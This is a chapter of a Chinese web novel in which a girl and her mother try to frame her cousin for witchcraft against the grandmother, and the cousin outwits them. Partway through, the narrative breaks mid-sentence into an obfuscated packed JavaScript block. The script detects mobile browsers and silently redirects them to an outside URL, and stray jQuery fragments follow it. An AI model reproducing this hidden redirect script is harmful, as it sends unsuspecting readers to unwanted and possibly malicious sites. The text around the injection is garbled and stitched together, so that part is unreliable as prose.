赵永钰回宝荷院之后,也感染了风寒,一连几天,屋子里面都弥漫着厚重的药味儿,罗氏一直伺候着赵永钰喝药。
这几天,赵永钰闷闷不乐的,到了晚间,更是彻夜难眠,每每想到都是赵永瑞为何挺过来了,她怎么还不去死,旋即,她又想到这么把赵永瑞抽筋扒骨,让她伏在地上,苦苦哀求自己。
罗氏给她请了不少郎中过来,郎中都说赵永钰的病在心里,并非病在身上。
赵永钰也知道,可就是控制不住去想,到底如何才能弄死赵永瑞。
后来,罗氏道:“永钰,你不用担心,怡兰院那边缺医少药的,赵永瑞熬不过去的。”
赵永钰还是不放心:“娘亲,我上一次故意不让家丁给红梅修竹开门,让她们去给赵永瑞找郎中,就是打的逼死赵永瑞的主意,可是没有郎中,没有药材,赵永瑞不也照样挺过来了吗!有这个前车之鉴在,我如何能放心!”
罗氏刚想再宽慰赵永钰几句,一个丫鬟就火急火燎地冲进了屋子里面,嘴里还念叨着:“二夫人,大姑娘,不好了,二姑娘的病突然就好了,而且王家也要回京城了!”
赵永钰一听丫鬟的话,气得耳边嗡嗡作响,像是有一群蜜蜂在她耳边叫嚣似的。
一天天的,怎么总有事来堵着她!
不仅是赵永瑞身体好了,赵永瑞的外祖家王家也要来了!
罗氏连忙就吩咐人,要把这个丫鬟带下去。
赵永钰赶忙阻止:“先别让她走!”
丫鬟颤颤巍巍地跪在地上,良久,赵永钰终于咳嗽够了,道:“赵永瑞真的挺过来了?”
丫鬟吓得上气不接下气:“是,是的。”
赵永钰接着问:”陛下给了王家什么官职?”
丫鬟实话实说:“奴婢不知道。”
赵永钰趿拉着鞋子下床,走到丫鬟身边,毫不犹豫的抬手给了她一个巴掌:“废物!我把你们送过去,就是想让你们把她的身体拖坏的,大伯就要回来了,我这一年没少欺负赵永瑞,要是赵永瑞趁着大伯回来,在大伯的面前告我一状,我的日子还怎么过!”
罗氏看着赵永钰如此这般,心里疼的也是没有法子了,想上去给她顺背,却被她给躲开了,又被她给埋怨一句:“娘亲,你挑丫头的眼色真不好,净挑出来一些歪瓜裂枣,这点小事她们还办不明白!”
罗氏听见赵永钰埋怨她,立马就火了:“赵永钰,你什么意思啊?到底是我挑丫头的眼色不好?还是你不会用这些丫头啊!”
“也不是我说你的,当初若是你一下子就逼死了赵永瑞,就没有后面这些祸患了,偏偏你非要去折磨她,把她弄得半死不活的,赶狗入穷巷,她肯定要告你的状啊!”
“如今你大伯要回来了,你就开始着急了,自己办事没有章程,还怨我!”
赵永钰面色不快:“我怎么就是办事就没有章程了?我把那些丫鬟送进怡兰院里面,就是打着在大伯回来之前逼死赵永瑞的主意,赵永瑞一死,她没法跟大伯告状了。”
“就算大伯回来了,见着赵永瑞死了,那又怎么样?咱们到时候只要说她是重病难医就行了,有祖母在,大伯不会杀了我的!”
“多么好的章程,多么好的计划呀,都怪赵永瑞,她为什么挺过来!”
赵永钰狠狠咳嗽了几声,又开始埋怨罗氏:“娘亲,你不去怪赵永瑞挺过来,反而怪你的女儿没有办好事情,天下竟然有你这样的娘亲!”
罗氏让赵永钰气得眼前发黑。
丫鬟给罗氏奉了一杯茶。
罗氏一番好心,还让自己女儿曲解成了这番意思,放谁身上,谁都不得劲!
罗氏越想越生气,将手中的茶杯狠狠往桌面上一跺:“赵永钰,你这个成事不足,败事有余的东西,真是要气死我了,你不去反思自己的不足,还来埋怨我的不是,现在赵永瑞挺过来了,我们的人还在那边呢,等你大伯一回来,看见你架空了赵永瑞,我看你有什么好果子吃!”
赵永钰脾气也是冲的很:“我倒是现在就想杀了她呀,可是现在还能有什么方法?难不成让祖母帮咱们杀了她!这简直就是痴心妄想!”
”祖母虽然敢在大伯面前拿乔,拿着亲生母亲的身份去要挟大伯,但是她也怕大伯呀,她一切的荣华富贵都是靠大伯拿来。”
“要是赵永瑞死了,大伯不会让祖母好过的,她不会帮咱们的,那日我紧闭府门,用的还是街上有鬼,开门了,街上的鬼就会找到祖母院子的理由呢!”
罗氏珠子一转,一个计谋就出现在了心里。
“针不扎到自己身上,是不会疼的,咱们若是说赵永瑞害了你,老夫人必定不会在你大伯回来的前夕惩治赵永瑞,但若是咱们说赵永瑞扎小人害老夫人呢?老夫人会忍下这口气吗?”
“到时候老夫人以巫蛊之术的名头杀赵永瑞,就算王家出来阻止,也是阻止不成的。”
巫蛊之术,在大盛就是人人喊打的地步,你若是敢用巫蛊之术,就算是皇子,也得蜕一层皮下来,更不用说赵永瑞了。
赵永钰豁然开朗,挽着罗氏的胳膊,道:“还是娘亲最好。”
翌日,怡兰院
自从二房的人把这群探子送了过来,红梅和修竹那是一刻也不敢放松,时刻刻都在看着这群探子的动向。
赵永瑞身体刚好。
就有一个探子趁着夜色,往院子树根庞放了一个小盒子,欲盖弥彰的挖了个洞,放了进去,最后用一捧土盖住了这个盒子。
修竹立马就把它挖了出来,打开一看,盒子里面竟然装着一个稻草小人,稻草小人上还有一条还写着老妇人的生辰八字的纸条,十几根锋利的针贯穿了稻草小人,其中意思不言而喻。
老夫人上了年纪,怕死,也就最讨厌巫蛊之术了。
二房的人把这东西放在了怡兰院里,这不明摆着是栽赃陷害吗!
红梅将这东西递给了赵永瑞:“姑娘,她们这是急了。”
赵永瑞从稻草小人身上抽出来一根针,放在手心把玩着:“她们当然是急了,怕我跟爹爹告状
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033595|194598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,就想拿老夫人出来弄死我。”
“那日赵永钰不给你们开门,故意拖重我的病情,老夫人也不给你们开门,所以我心里就会怨怼老夫人,就会给老妇人实行巫蛊之术,狗急跳墙,她们竟然连巫蛊之术都能想出来,看来是真的害怕我和爹爹告状啊。”
红梅急的不行:“姑娘,火烧眉毛了,您就先别分析了,要不先把埋这盒子的人给抓起来吧。”
赵永瑞淡定的笑了笑:“二房那边的人肯定盯着咱们呢,咱们这时候把埋盒子的人抓起来,岂不是打草惊蛇?”
红梅愁得一个头,两个大:“无论进或退,咱们都无路可走啊。”
“不是无路可走。”赵永瑞笑了笑,拿出了一封书信来,“昨日晌午,舅舅寄来的,当年舅舅为了避祸,离开了京城,如今皇帝又把舅舅调回来了,你猜猜舅舅的官位是什么?”
红梅摇摇头:“奴婢猜不出来。”
赵永瑞脸上的笑意更浓了:“是大理寺卿。”
大理寺监管天下一切要案。
红梅恍然大悟:“姑娘,你是故意的吧?”
“对呀,我就是故意的,故意逼着她们狗急跳墙,舅舅来京城,定然要来威北将军府,来看我,若到时候舅舅一来,正好遇见她们诬陷我的情景,你说事态该如何发展?”
老夫人病了,罗氏请了一个算命先生去给老夫人看,算命先生说,有人扎了小人要害老夫人,罗氏就跟着算命先生的步伐来到了怡兰院。
赵永瑞布置好了一切,就等着他们来上钩。
他们急促的步伐刚踏进怡兰院,赵永瑞就问了红梅:“淑仪什么时候到?”
淑仪是她的表妹。
“还有一刻钟。”
赵永瑞眼里爆发出前所未有的坚定:“没事,我们只需要拖上一刻钟就可以了。”
堵堵堵———
外面传来了一阵急促的敲门声:“赵永瑞,你给我滚出来!”
说话的是罗氏。
赵永瑞起身就开了门,还没等她反应过来呢,罗氏巴掌就飞到了她的脸上。
“赵永瑞,老夫人平时可待你不薄啊,你竟然敢扎小人害她!”
赵永瑞一下子让罗氏的巴掌扇得偏过了头,耳朵嗡嗡的响,虽然听不见外面说声音了,但是心里的声音一直没有停歇,她一直在倒数着一刻钟。
“三”
“二”
“一”
一刻钟到了。
罗氏刚吩咐下人,要把赵永瑞绑起来,院子外面就传来了女子嘶吼的声音。
“我看你们谁敢!你们就打量着我姑母不在了,就这样欺负我的表姐!”
来人是个女子,颇有些将军气概,气吞山河之姿,罗氏一介后院的女流,只知道后院的算计,还真让女子吼住了,吼得脑子一白,良久,才反应过来这女子叫已故的王氏为姑姑!
那这女子不就是赵永瑞的表妹王淑仪嘛!
赵永瑞心里紧绷的弦,在王淑仪到的一瞬间,陡然放松了。